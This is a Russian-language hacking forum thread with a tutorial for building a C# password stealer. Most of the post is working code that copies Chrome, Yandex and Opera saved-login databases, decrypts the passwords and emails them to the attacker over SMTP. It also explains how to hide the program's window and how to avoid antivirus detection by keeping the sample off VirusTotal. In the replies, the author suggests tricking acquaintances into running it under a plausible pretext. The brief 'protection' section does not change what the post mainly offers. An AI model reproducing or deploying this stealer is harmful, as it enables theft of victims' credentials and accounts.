• Добро пожаловать на сайт - Forumteam.wiki !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

Свой стиллер паролей на C#

  • Автор темы Redman
  • Дата начала
  • Ответы 3
  • Просмотры 9K

Redman

<FORUMTEAM>
Команда форума
Регистрация
13.11.17
Сообщения
13.343
Реакции
8.367
Баллы
1.200
FTC
203¢
0aa8b2841c4c2c5445c85.jpg
Есть такой класс вирусов, призванных получать у пользователя конкретные (или какие угодно) файлы и направлять их специально уполномоченным людям. Этот класс вирусов называют Stealer. Основной их целью является добыча полезной информации с компьютера жертвы для последующей продажи или собственного использования . Сегодня мы напишем этот вирус на C#.


Как работает наш стиллер?
  • Сначала стиллер проверяет наличие браузерных папок.
  • Если файл содержащий пароли существует, идёт проверка на их содержание.
  • Если данные не пусты, стиллер добавляет их в текстовой файл.
  • После того, как стиллер закончил проверку, он отправляет данные прямо к нам в руки.

Приступим!
Для начала создаём проект в Visual Studio. Версия фреймворка - 4.5.

91625f046f31d126e8d1e.jpg


Program.cs
Добавим необходимые юзинги:

Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Text;
using System.Threading.Tasks;

ac94b938db27da2dcef76.jpg

Начинаем кодить, для начала мы создадим папку где будет лежать файл с паролем:

Код:
Directory.CreateDirectory(Path.GetTempPath() + "StealLog");

Папка будет создана в каталоге TEMP.

Создадим переменную paths в которой хранятся пути к файлам Login Data (Файлы Login Data содержат пароли):

Код:
string[] paths = {
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",

Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",

Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
};
519fcad6b2b58f9e6cb85.jpg

Теперь создаём переменную pwd_text которая пока что ничему не равна:

Код:
string pwd_text = "";

Добавим в код следующие, объяснение кода в комментариях:

Код:
foreach (string p in paths) //идем по папкам
{
var pas = Passwords.ReadPass(p);
if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия
{
pwd_text += "Stealer by: @deepside\r\n\r\n";
foreach (var item in pas)
{
if ((item.Item2.Length > 0) && (item.Item2.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную 
{
pwd_text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n";
pwd_text += " \r\n";
}
}
}
}
d51f0c5dbc651616fedb2.jpg

Делаем проверку, если файл Login Data находится в нашей папке, то удаляем его.

Код:
if (File.Exists(Path.GetTempPath() + @"StealLog
\Login Data"))
{
  File.Delete(Path.GetTempPath() + @"StealLog
\Login Data");
}

Запишем все пароли в .txt файл:

Код:
File.WriteAllText(Path.GetTempPath() + @"StealLog
\Passwords.txt", pwd_text);
195a56457afb7c2b5aa85.jpg


Passwords.cs

Создаём новый класс с именем Passwords.cs.

Добавляем туда этот код, объяснение в комментариях:

Код:
static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
{
if (File.Exists(Path.GetTempPath() + @"StealLog
\Login Data")) // Если файл по данному пути существует, то удаляем его
{
File.Delete(Path.GetTempPath() + @"StealLog
\Login Data");
}
File.Copy(dbPath, Path.GetTempPath() + @"StealLog
\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер
dbPath = Path.GetTempPath() + @"StealLog
\Login Data";
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[0];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
var plainText = Encoding.ASCII.GetString(decodedData);
yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);
}
}
conn.Close();
}
}

Появились ошибки, исправляем их, добавим ссылку:

Проект - Добавить ссылку. Ищем System.Security
bece15e0f24ef7edeabfd.jpg

Для работы с Login Data установим библиотеку:

Проект - Управление пакетами Nuget. Ищем в поискe "sqlite" и устанавливаем пакет
597cb76a226a0aac24128.jpg

Теперь нам нужно отправить файл с паролями. Возвращаемся к Program.cs и добавляем следующий код:

Код:
SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu

Smtp.Credentials = new NetworkCredential("почта@mail.ru", "пароль"); // Меняем на своё, можно создать левую почту.

Smtp.EnableSsl = true;
MailMessage Message = new MailMessage();
Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
Message.To.Add("почта@mail.ru");
Message.Subject = "Log | @deepside"; // Заголовок письма
Message.Body = "Stealer by DEEPSIDE"; // Текст письма
(new Attachment(Path.GetTempPath() + @"RebornExodus\Passwords.txt")); // Добавляем вложение с логом
Smtp.Send(Message); // Отправляем
c7206baaa6fb56130fbc9.jpg


Формат письма:
f6cbadd30e117958a9d3a.jpg


Формат лога:
058ac8969ea2d548f6e54.png

Лог приходит значит мы на верном пути. Теперь нам нужно кое что исправить. Наверное ты заметил, что при запуске стиллера выводится консоль. Как это исправить?

Заходим в свойства проекта, далее делаем как на скрине:
994a5ed4b0a40d944d695.jpg

Выбираем "Приложение Windows". Теперь консоль не открывается и стиллер запускается скрытно.


Итог. Что мы имеем?
Вес стиллера ~ 10kb.

Детекты:
aaca1e15563032c8ef877.png

Стиллер на VirusTotal не заливать! Проверять можно тут.


Защита.
Для начала нужно поставить хороший антивирус, ведь он хоть как-то защищает. Без антивируса вы будете "ловить" все подряд. В Интернете часто пишут, что такое стиллер и как его создать, даже предоставляют программы для их создания. Но зачастую программы не работают, а в них самих есть стиллер. Каждый скачиваемый файл нужно проверить обязательно, чтобы не потерять свои данные. Также существуют программы, которые удаляют стиллер с компьютера. Рекомендуется еще проверять ПК на наличие вирусов с помощью специальных утилит, например, DrWeb Cure It.


Как понять что ты заражён стиллером?
  • Для начала , нужно понять, остался ли стиллер в автозагрузке, думаю это расписывать не нужно, если остался, то конечно выключаем. Если нет, выходим.
  • Дальше, в диспетчере задач, ищем процессы, с ключевыми словами - Stealer, Passview. Так же , бывает скрытые процессы, для этого идем в службы, ищем там, те же ключевые слова.
  • Выключаем службы, убираем автозапуск.

Заключение.
Сегодня мы написали Stealer на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Думаю каждый начинающий кодер открыл для себя что то новое, удачи.

Весь код Program.cs - тут

Весь код Passwords.cs - тут
 

Popcorn

Проявляет активность
Местный
Регистрация
24.05.18
Сообщения
194
Реакции
77
Баллы
430
FTC
515¢
В том то вся и беда,что на VT заливать нельзя,так как во-первых видно сразу все вирусы,во-вторых настает п..да крипту!!!Так что стилеры,я так думаю не многие установят,особенно ели у них стоит антивирус! И как правило сецчас 90 процентов пользователей проверяют файли именно на VT
 

Redman

<FORUMTEAM>
Команда форума
Регистрация
13.11.17
Сообщения
13.343
Реакции
8.367
Баллы
1.200
FTC
203¢
В том то вся и беда,что на VT заливать нельзя,так как во-первых видно сразу все вирусы,во-вторых настает п..да крипту!!!Так что стилеры,я так думаю не многие установят,особенно ели у них стоит антивирус! И как правило сецчас 90 процентов пользователей проверяют файли именно на VT
90% пользователей подобных с нашим форумов)

Мои друзья/знакомые в жизни не слышали о таких сервисах как VirusTotal :) По этому если закинуть стилак под правильным предлогом и с хорошо оформленным сообщением то может что-то и выйти)
 

Popcorn

Проявляет активность
Местный
Регистрация
24.05.18
Сообщения
194
Реакции
77
Баллы
430
FTC
515¢
90% пользователей подобных с нашим форумов)

Мои друзья/знакомые в жизни не слышали о таких сервисах как VirusTotal :) По этому если закинуть стилак под правильным предлогом и с хорошо оформленным сообщением то может что-то и выйти)
Антивир все равно спалит,если он стоит :) Хотя не многие обратят внимание,если им нужно будет искомое :)
 
Сверху Снизу